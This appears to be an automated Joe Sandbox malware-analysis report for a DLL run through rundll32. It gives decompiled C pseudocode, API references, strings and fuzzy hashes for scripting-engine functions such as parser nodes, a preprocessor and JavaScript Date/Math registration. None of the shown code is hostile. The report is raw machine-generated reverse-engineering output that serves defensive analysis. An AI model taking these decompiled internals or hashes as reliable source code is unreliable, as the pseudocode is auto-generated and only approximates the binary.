Instruction Fuzzy Hash: 0D91F0B0E00B059FEB12CB64C855B9EB7F5EF45349F104119E216EF2C1DB78AA40CB95

Uniqueness

Uniqueness Score: -1.00%

Function 1003BA30 Relevance: 9.2, APIs: 6, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E1003BA30(intOrPtr __ecx, signed int __edx) {
				char _v8;
				char _v16;
				char _v17;
				char _v24;
				char _v28;
				intOrPtr _v32;
				signed int _t50;
				char _t53;
				intOrPtr _t55;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t60;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t83;
				intOrPtr* _t84;
				intOrPtr* _t85;
				intOrPtr _t119;
				void* _t120;
				char _t121;
				intOrPtr _t124;
				void* _t125;
				intOrPtr _t126;
				signed int _t129;
				void* _t130;
				void* _t132;
				void* _t133;
				void* _t135;
				void* _t147;

				_t118 = __edx;
				_t50 =  *0x10094144; // 0x3a5d9654
				 *[fs:0x0] =  &_v16;
				_t126 = __ecx;
				_t84 =  *0x1006a1d0; // 0x87144
				_t53 =  *_t84(0x2c, _t50 ^ _t129, _t120, _t125, _t83,  *[fs:0x0], E1006514F, 0xffffffff);
				_t132 = _t130 - 0x10 + 4;
				_v28 = _t53;
				_v8 = 0;
				_t136 = _t53;
				if(_t53 == 0) {
					_v24 = 0;
					_t121 = 0;
				} else {
					_t4 = _t126 + 0x8c; // 0x8c
					_t121 = E10038080(_t53, _t4, 0, 0, 0);
					_v24 = _t121;
				}
				_v8 = 0xffffffff;
				E1003A9F0(_t126, 0);
				_t55 = E1003D3A0(_t126, _t118, _t136, _t147, 0);
				 *((intOrPtr*)(_t121 + 0x20)) = _t55;
				_t56 =  *_t84(0x28);
				_t133 = _t132 + 4;
				_v28 = _t56;
				_v8 = 1;
				if(_t56 == 0) {
					_v28 = 0;
					_t57 = _v28;
				} else {
					_t11 = _t126 + 0x8c; // 0x8c
					_t118 = _t11;
					_t57 = E10038140(_t11);
					_v28 = _t57;
				}
				 *((intOrPtr*)(_t57 + 8)) = 0x36;
				_t16 = _t126 + 0x8c; // 0x8c
				_t85 = _t16;
				 *((intOrPtr*)(_t121 + 0x24)) = _t57;
				_v8 = 0xffffffff;
				_v17 = 0;
				if( *_t85 != 0x36) {
					L25:
					_t146 =  *_t85 - 0x46;
					if( *_t85 != 0x46) {
						_t58 =  *0x1006a1d0(0x20);
						_v32 = _t58;
						_v8 = 5;
						__eflags = _t58;
						if(_t58 == 0) {
							_t59 = 0;
							__eflags = 0;
						} else {
							_t59 = L10037F00(_t58, _t85);
						}
						_t119 = _v28;
						 *((intOrPtr*)(_t121 + 0x28)) = _t59;
						_v8 = 0xffffffff;
						_t60 =  *0x1006a16c();
						__eflags = _t60;
						if(_t60 == 0) {
							E1003AAC0(_t126, _t119, 0xf, _t60);
						}
						 *[fs:0x0] = _v16;
						return _t121;
					} else {
						E1003A9F0(_t126, 0);
						_t64 = E1003D3A0(_t126, _t118, _t146, _t147, 0);
						 *((intOrPtr*)(_t121 + 0x28)) = _t64;
						 *((intOrPtr*)(_t64 + 8)) = 0x46;
						 *[fs:0x0] = _v16;
						return _t121;
					}
				} else {
					while( *((char*)(_t126 + 0x104)) != 0) {
						_t66 =  *0x1006a1d0(0x2c);
						_t135 = _t133 + 4;
						_v32 = _t66;
						_v8 = 2;
						if(_t66 == 0) {
							_t124 = 0;
							__eflags = 0;
						} else {
							_t124 = E10038080(_t66, _t85, 0, 0, 0);
						}
						_v8 = 0xffffffff;
						if(_v17 != 0) {
							E1003AAC0(_t126, _t118, 0x2a, 0);
						}
						E1003A9F0(_t126, 0);
						E1003AC80(_t126, 0x40000028, 0);
						if( *((intOrPtr*)(_t126 + 0xa8)) != 2) {
							E1003AAC0(_t126, _t118, 0x11,  *_t85);
						}
						_t69 =  *0x1006a1d0(0x20);
						_t133 = _t135 + 4;
						_v32 = _t69;
						_v8 = 3;
						if(_t69 == 0) {
							_t70 = 0;
							__eflags = 0;
						} else {
							_t70 = E10037280(_t85);
						}
						_v8 = 0xffffffff;
						 *((intOrPtr*)(_t124 + 0x20)) = _t70;
						E1003A9F0(_t126, 0);
						_t144 =  *_t85 - 0x4b;
						if( *_t85 != 0x4b) {
							_v17 = 1;
							_t72 =  *0x1006a1d0(0x20);
							_t133 = _t133 + 4;
							_v32 = _t72;
							_v8 = 4;
							__eflags = _t72;
							if(_t72 == 0) {
								_t73 = 0;
								__eflags = 0;
							} else {
								_t73 = L10037F00(_t72, _t85);
							}
							_v8 = 0xffffffff;
						} else {
							E1003A9F0(_t126, 0);
							_t73 = E1003E550(_t126, _t118, _t147, 0, 0);
						}
						 *((intOrPtr*)(_t124 + 0x24)) = _t73;
						E1003AC80(_t126, 0x40000029, 0);
						 *((intOrPtr*)(_t124 + 0x28)) = E1003D3A0(_t126, _t118, _t144, _t147, 0);
						 *0x1006a22c(_t124);
						_t121 = _v24;
						if( *_t85 == 0x36) {
							continue;
						} else {
							goto L25;
						}
					}
					goto L25;
				}
			}

0x1003ba30
0x1003ba47
0x1003ba52
0x1003ba58
0x1003ba5a
0x1003ba62
0x1003ba64
0x1003ba67
0x1003ba6c
0x1003ba6f
0x1003ba71
0x1003ba8b
0x1003ba8e
0x1003ba73
0x1003ba76
0x1003ba84
0x1003ba86
0x1003ba86
0x1003ba94
0x1003ba9b
0x1003baa4
0x1003baab
0x1003baae
0x1003bab0
0x1003bab3
0x1003bab6
0x1003babf
0x1003bad4
0x1003badb
0x1003bac1
0x1003bac1
0x1003bac1
0x1003baca
0x1003bacf
0x1003bacf
0x1003bade
0x1003bae5
0x1003bae5
0x1003baeb
0x1003baf1
0x1003baf8
0x1003bafc
0x1003bc39
0x1003bc39
0x1003bc3c
0x1003bc70
0x1003bc79
0x1003bc7c
0x1003bc83
0x1003bc85
0x1003bc91
0x1003bc91
0x1003bc87
0x1003bc8a
0x1003bc8a
0x1003bc93
0x1003bc96
0x1003bc9c
0x1003bca3
0x1003bca9
0x1003bcab
0x1003bcb2
0x1003bcb2
0x1003bcbc
0x1003bcca
0x1003bc3e
0x1003bc42
0x1003bc4b
0x1003bc50
0x1003bc53
0x1003bc5f
0x1003bc6d
0x1003bc6d
0x1003bb02
0x1003bb02
0x1003bb11
0x1003bb17
0x1003bb1a
0x1003bb1d
0x1003bb26
0x1003bb3a
0x1003bb3a
0x1003bb28
0x1003bb36
0x1003bb36
0x1003bb40
0x1003bb47
0x1003bb4f
0x1003bb4f
0x1003bb58
0x1003bb66
0x1003bb72
0x1003bb7b
0x1003bb7b
0x1003bb82
0x1003bb88
0x1003bb8b
0x1003bb8e
0x1003bb97
0x1003bba3
0x1003bba3
0x1003bb99
0x1003bb9c
0x1003bb9c
0x1003bba9
0x1003bbb0
0x1003bbb3
0x1003bbb8
0x1003bbbb
0x1003bbd5
0x1003bbd9
0x1003bbdf
0x1003bbe2
0x1003bbe5
0x1003bbec
0x1003bbee
0x1003bbfa
0x1003bbfa
0x1003bbf0
0x1003bbf3
0x1003bbf3
0x1003bbfc
0x1003bbbd
0x1003bbc1
0x1003bbcc
0x1003bbcc
0x1003bc0c
0x1003bc0f
0x1003bc20
0x1003bc27
0x1003bc30
0x1003bc33
0x00000000
0x00000000
0x00000000
0x00000000
0x1003bc33
0x00000000
0x1003bb02

APIs

l?0TernaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@11@Z.MAIN(0000008C,00000000,00000000,00000000,?,?,1003CF67,00000000,0000008C), ref: 1003BA7F

Part of subcall function 10038080: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(00000000,?,?,1003E845,00000019,?,00000000,00000000,?,?,?,3A5D9654), ref: 1003808A

l?0ListNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,1003CF67,00000000), ref: 1003BACA
l?0TernaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@11@Z.MAIN(0000008C,00000000,00000000,00000000,?,?,?,?,1003CF67,00000000), ref: 1003BB31
l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,?,?,1003CF67,00000000), ref: 1003BB9C
l?0EmptyNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,?,?,?,1003CF67,00000000), ref: 1003BBF3

Part of subcall function 10037F00: l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(1003D351,-0000008C,?,1003D351,-0000008C), ref: 10037F0A

l?0EmptyNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000008C,?,?,?,?,1003CF67,00000000), ref: 1003BC8A

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Node@ScanScript@@$Info@1@@$EmptyInfo@1@Node@1@11@Ternary$List
String ID:
API String ID: 59861229-0
Opcode ID: 70d9d012171259436f0c6949d539b293b8d2c9aab6c80a611f4bbb892922d3c3
Instruction ID: e3b61aca1277bba2dc32d257575a28814b414bccc5362875249a9a375b411abb
Opcode Fuzzy Hash: 70d9d012171259436f0c6949d539b293b8d2c9aab6c80a611f4bbb892922d3c3
Instruction Fuzzy Hash: B671F4B0F00B05AFEB12DB64C856B6EB7E5EB45715F104129E606EF2C0EBB46A40CB95

Uniqueness

Uniqueness Score: -1.00%

Function 10010570 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 410COMMON

Download Yara Rule

APIs

ldoProcess@Preprocessor@ScScript@@AAE_NAAUProcData@12@@Z.MAIN(?,?,?,?), ref: 1001099D

Strings

// +++++ #include %ls +++++, xrefs: 1001095C
include, xrefs: 10010735
// ----- #include %ls -----, xrefs: 10010A06
includepath, xrefs: 10010874

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Data@12@@Preprocessor@ProcProcess@Script@@
String ID: // +++++ #include %ls +++++$// ----- #include %ls -----$include$includepath
API String ID: 3064585419-4108454239
Opcode ID: f55d3f6c699335dd353e1c1d69f173412d6d2b00f08270da3a6fd1120521f12f
Instruction ID: 676d652a1f2ca482ff9e0981c3d462557070bc1d210c9e3a7659e3437b6610fd
Opcode Fuzzy Hash: f55d3f6c699335dd353e1c1d69f173412d6d2b00f08270da3a6fd1120521f12f
Instruction Fuzzy Hash: 1202827190015ADFDB04EFA4CC98AEEBBB5FF15304F004059E946A7191DBB46A88CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 10006540 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 300COMMON

Download Yara Rule

APIs

lgetSourceFileID@DebugAPI@ScScript@@QBEHXZ.MAIN ref: 100065CC
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,00000000), ref: 100065DC
lgetSourceLine@DebugAPI@ScScript@@QBEHXZ.MAIN ref: 10006649

Strings

Attempt to set $.level to %ld without permission!Script: %lsLine: %ld, xrefs: 10006660

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@lget$DebugSource$Core@@DataFileLine@Pool@String@Symbol@
String ID: Attempt to set $.level to %ld without permission!Script: %lsLine: %ld
API String ID: 2780735567-851982077
Opcode ID: b7fbaafe0e1e5ac1e7c0305295242dcc752751beb7c639cd6ae9331c6b8d7c3d
Instruction ID: acef6cc39a8c1bc087a040f789e00d863f3ff83770c62bc3b0f762c39d53f49a
Opcode Fuzzy Hash: b7fbaafe0e1e5ac1e7c0305295242dcc752751beb7c639cd6ae9331c6b8d7c3d
Instruction Fuzzy Hash: 9BC11572A04215CFE714DF99D894BAAF7B6FF48310F10426EE91693790DB36AA44CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1000AB70 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 296
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E1000AB70(intOrPtr* __ecx, char _a4, char _a8, intOrPtr _a12) {
				signed int _v8;
				char _v16;
				char _v20;
				intOrPtr* _v24;
				intOrPtr* _v28;
				char _v36;
				signed int _t100;
				void* _t108;
				void* _t111;
				signed int _t115;
				intOrPtr _t123;
				void* _t129;
				void* _t140;
				void* _t167;
				void* _t169;
				void* _t170;
				signed int _t171;
				intOrPtr _t181;
				intOrPtr* _t185;
				intOrPtr _t197;
				intOrPtr _t207;
				intOrPtr _t212;
				intOrPtr _t242;
				intOrPtr _t246;
				intOrPtr _t247;
				void* _t250;
				intOrPtr* _t251;
				intOrPtr* _t253;
				void* _t256;
				signed int _t261;
				void* _t262;
				void* _t263;

				_t263 = _t262 - 0x14;
				_t100 =  *0x10094144; // 0x3a5d9654
				 *[fs:0x0] =  &_v16;
				_t257 = __ecx;
				 *0x1006a2c8(_t100 ^ _t261, _t250, _t256, _t170,  *[fs:0x0], 0x1005e5c6, 0xffffffff);
				if( *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0x10))))() != 0) {
					 *((intOrPtr*)(__ecx + 0x22)) =  *((intOrPtr*)(__ecx + 0x22)) + 1;
					_v28 = __ecx;
					_t171 = 0;
					_v8 = 0;
					 *0x1006a41c();
					_t251 =  *((intOrPtr*)(_a4 + 0x14));
					_v8 = 1;
					if( *((intOrPtr*)(__ecx + 0x98)) != 0x1ff10000) {
						if(_t251 == 0) {
							_t181 =  *0x1009415c; // 0x0
							_t108 = E100049E0(_t181,  &_a4,  &_a4,  *((intOrPtr*)(__ecx + 0x72)));
							_v8 = 8;
							 *0x1006a42c(0x37, _t108, 0, 1);
							_v8 = 1;
							 *0x1006a184();
						} else {
							goto L7;
						}
						goto L28;
					} else {
						_t251 =  *((intOrPtr*)(__ecx + 0x14));
						if(_t251 != 0) {
							L7:
							 *0x1006a160();
							_v24 = _t251;
							 *0x1006a460();
							 *0x1006a3d4();
							_t123 =  *((intOrPtr*)(_t257 + 0x98));
							_v8 = 2;
							if(_t123 != 0x1ff1ffff) {
								if(_t123 != 0x1ff1fffe) {
									 *0x1006a32c();
									_v8 = 4;
									E1000D560(_a8,  &_v36);
									_t241 =  *_t251;
									_t263 = _t263 + 8;
									 *((intOrPtr*)( *((intOrPtr*)( *_t251 + 0x30))))();
									_t129 =  *0x1006a1d8();
									_t197 =  *0x1009415c; // 0x0
									if( *((intOrPtr*)(_t257 + 0x8a)) == L10003EE0(_t197, _t129)) {
										_t242 =  *_t251;
										_t241 =  *((intOrPtr*)(_t242 + 0x7c));
										_t171 =  *((intOrPtr*)( *((intOrPtr*)(_t242 + 0x7c))))( *((intOrPtr*)(_t257 + 0x98)),  &_v36, _a12,  &_v20);
										if(_t171 != 0) {
											if(_t171 == 0x18 || _t171 == 2) {
												if( *((intOrPtr*)(_t257 + 0x98)) == 0x1ff10000) {
													_t171 = 0;
												}
											}
										} else {
											 *0x1006a400();
										}
									} else {
										_t171 = 0x1a;
									}
									_v8 = 2;
									 *0x1006a31c();
								} else {
									_t246 =  *_t251;
									_t241 =  *((intOrPtr*)(_t246 + 0x84));
									 *((intOrPtr*)( *((intOrPtr*)(_t246 + 0x84))))(_a12);
									if( *0x1006a2cc() == 0) {
										 *0x1006a468(_t251, 0);
									}
								}
							} else {
								 *0x1006a190();
								_t247 =  *_t251;
								_t241 =  *((intOrPtr*)(_t247 + 0x88));
								_v8 = 3;
								 *((intOrPtr*)( *((intOrPtr*)(_t247 + 0x88))))( &_a4);
								 *0x1006a290( &_a4);
								_v8 = 2;
								 *0x1006a184();
							}
							if( *0x1006a3f8() == 0) {
								if(_t171 != 0x1a) {
									if(_t171 != 0) {
										_t207 =  *0x1009415c; // 0x0
										_t140 = E100049E0(_t207, _t241,  &_a4,  *((intOrPtr*)(_t257 + 0x72)));
										_v8 = 7;
										 *0x1006a42c(_t171, _t140, 0, 1);
										_v8 = 2;
										 *0x1006a184();
									}
								} else {
									 *0x1006a190();
									_t212 =  *0x1009415c; // 0x0
									_v8 = 5;
									E100049E0(_t212, _t241,  &_a8,  *((intOrPtr*)(_t257 + 0x72)));
									_v8 = 6;
									 *((intOrPtr*)( *((intOrPtr*)( *_t251 + 0x30))))( *0x1006a210());
									 *0x1006a234( &_a4, "%ls.%ls()",  *0x1006a210());
									_t253 =  *0x1006a184; // 0x86e1c
									_v8 = 5;
									 *_t253();
									 *0x1006a42c(0x1a,  &_a4, 0, 1);
									_v8 = 2;
									 *_t253();
								}
							}
							_v8 = 1;
							 *0x1006a3d8();
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 4))))();
							L28:
							_t111 =  *0x1006a3f8();
							_t185 =  *((intOrPtr*)(_t257 + 0x6a));
							if(_t111 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t185 + 0xe0))))(_a12, 1);
							} else {
								 *((intOrPtr*)( *((intOrPtr*)( *_t185 + 0x1c))))( &_v20);
							}
							_v8 = 0;
							_t115 =  *0x1006a414() | 0xffffffff;
							_t94 = _t257 + 0x22;
							 *_t94 =  *((intOrPtr*)(_t257 + 0x22)) + _t115;
							_v8 = _t115;
							if( *_t94 == 0) {
								_t115 =  *((intOrPtr*)( *((intOrPtr*)( *_t257 + 0x14))))();
							}
							goto L33;
						} else {
							_v8 = 0;
							_t115 =  *0x1006a414() | 0xffffffff;
							_t19 = __ecx + 0x22;
							 *_t19 =  *((intOrPtr*)(__ecx + 0x22)) + _t115;
							_v8 = _t115;
							if( *_t19 != 0) {
								L33:
								 *[fs:0x0] = _v16;
								return _t115;
							} else {
								_t167 =  *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0x14))))();
								 *[fs:0x0] = _v16;
								return _t167;
							}
						}
					}
				} else {
					_push(0x2d);
					_t169 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x6a)))) + 0x24))))();
					 *[fs:0x0] = _v16;
					return _t169;
				}
			}

0x1000ab81
0x1000ab87
0x1000ab92
0x1000ab98
0x1000ab9d
0x1000abae
0x1000abd0
0x1000abd3
0x1000abd6
0x1000abdb
0x1000abde
0x1000abf1
0x1000abf4
0x1000abf8
0x1000ac3c
0x1000ae6b
0x1000ae75
0x1000ae84
0x1000ae88
0x1000ae91
0x1000ae95
0x00000000
0x00000000
0x00000000
0x00000000
0x1000abfa
0x1000abfa
0x1000abff
0x1000ac42
0x1000ac45
0x1000ac4d
0x1000ac50
0x1000ac59
0x1000ac5f
0x1000ac65
0x1000ac6e
0x1000acb1
0x1000ace8
0x1000acf6
0x1000acfa
0x1000acff
0x1000ad04
0x1000ad09
0x1000ad0d
0x1000ad13
0x1000ad25
0x1000ad31
0x1000ad33
0x1000ad4a
0x1000ad4e
0x1000ad5e
0x1000ad6f
0x1000ad71
0x1000ad71
0x1000ad6f
0x1000ad50
0x1000ad53
0x1000ad53
0x1000ad27
0x1000ad27
0x1000ad27
0x1000ad76
0x1000ad7a
0x1000acb3
0x1000acb3
0x1000acb8
0x1000acc1
0x1000acce
0x1000acda
0x1000acda
0x1000acce
0x1000ac70
0x1000ac73
0x1000ac79
0x1000ac7b
0x1000ac87
0x1000ac8b
0x1000ac94
0x1000ac9d
0x1000aca1
0x1000aca1
0x1000ad8b
0x1000ad94
0x1000ae16
0x1000ae20
0x1000ae26
0x1000ae34
0x1000ae38
0x1000ae41
0x1000ae45
0x1000ae45
0x1000ad96
0x1000ad99
0x1000ada7
0x1000adaf
0x1000adb2
0x1000adb9
0x1000adcb
0x1000addf
0x1000ade5
0x1000adf1
0x1000adf4
0x1000ae03
0x1000ae0c
0x1000ae10
0x1000ae10
0x1000ad94
0x1000ae51
0x1000ae55
0x1000ae63
0x1000ae9b
0x1000ae9e
0x1000aea4
0x1000aea9
0x1000aec6
0x1000aeab
0x1000aeb4
0x1000aeb4
0x1000aecb
0x1000aed5
0x1000aed8
0x1000aed8
0x1000aedb
0x1000aede
0x1000aee7
0x1000aee7
0x00000000
0x1000ac01
0x1000ac04
0x1000ac0e
0x1000ac11
0x1000ac11
0x1000ac14
0x1000ac17
0x1000aee9
0x1000aeec
0x1000aefa
0x1000ac1d
0x1000ac24
0x1000ac29
0x1000ac37
0x1000ac37
0x1000ac17
0x1000abff
0x1000abb0
0x1000abb8
0x1000abba
0x1000abbf
0x1000abcd
0x1000abcd

Strings

%ls.%ls(), xrefs: 1000ADD9

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: %ls.%ls()
API String ID: 0-2021965894
Opcode ID: 0a7716ae0fa031b59af21603f86b1567ba4d09d8afbab30f2bea6cc98472876e
Instruction ID: 6afcf42323f841e726c6c1e4a4d7a7b19557e82ffbddb91dc9b7c33167e8dbdd
Opcode Fuzzy Hash: 0a7716ae0fa031b59af21603f86b1567ba4d09d8afbab30f2bea6cc98472876e
Instruction Fuzzy Hash: DBC1B13460025ADFEB04DFA4C894BAEB7B5FF9A340F10855DE91697390DB74AA84CF60

Uniqueness

Uniqueness Score: -1.00%

Function 10031A60 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E10031A60(long long __fp0) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t14;
				void* _t19;
				intOrPtr* _t20;
				signed int _t22;

				_t6 =  *0x10094144; // 0x3a5d9654
				 *[fs:0x0] =  &_v16;
				_t20 = _t14;
				_v20 = _t20;
				E10007260(_t14, "JavaScript");
				_v8 = 0;
				 *_t20 = 0x1006f960;
				L10007F30(_t20, "Date");
				E100083E0(_t20, 0, 0x1006f378);
				 *0x1006a954(_t6 ^ _t22, _t19, _t14,  *[fs:0x0], E10063B70, 0xffffffff);
				 *0x10094188 = __fp0;
				 *[fs:0x0] = _v16;
				return _t20;
			}

0x10031a73
0x10031a7e
0x10031a84
0x10031a86
0x10031a8e
0x10031a9a
0x10031aa1
0x10031aa7
0x10031ab5
0x10031aba
0x10031ac0
0x10031acb
0x10031ad7

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00087144,00000000,00000000,10063B70,000000FF,?,10032E7B), ref: 10031A8E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Date,JavaScript,3A5D9654,00087144,00000000,00000000,10063B70,000000FF), ref: 10031AA7

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,1006F378,JavaScript,3A5D9654,00087144,00000000,00000000,10063B70,000000FF), ref: 10031AB5

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 10031A89
Date, xrefs: 10031A93

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: Date$JavaScript
API String ID: 2248442671-1441692830
Opcode ID: a619294c1d8cb699208f7b08ed73ddae69cc948bcb333bcc0871d2871bd2bcfb
Instruction ID: 2d3042982fd8f08a70fdef321c0c12f1398f57dad8550a8be2330fc882a2e4d9
Opcode Fuzzy Hash: a619294c1d8cb699208f7b08ed73ddae69cc948bcb333bcc0871d2871bd2bcfb
Instruction Fuzzy Hash: EEF09075A18668FBE715DF48CC41FAAB7A9F749B60F00025FF51593780DBB92A008BD4

Uniqueness

Uniqueness Score: -1.00%

Function 10037000 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E10037000() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(0x10064673);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0x3a5d9654
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x100703e4;
				L10007F30(_t19, "Math");
				E100083E0(_t19, 0, 0x10070190);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x10037003
0x10037005
0x10037010
0x10037011
0x10037013
0x1003701a
0x1003701e
0x10037024
0x10037026
0x1003702e
0x1003703a
0x10037041
0x10037047
0x10037055
0x1003705f
0x1003706b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,3A5D9654,00087144,00000000,00000000,10064673,000000FF,?,10032E53), ref: 1003702E
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(Math,JavaScript,3A5D9654,00087144,00000000,00000000,10064673,000000FF), ref: 10037047

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,10070190,JavaScript,3A5D9654,00087144,00000000,00000000,10064673,000000FF), ref: 10037055

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 10037029
Math, xrefs: 10037033

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

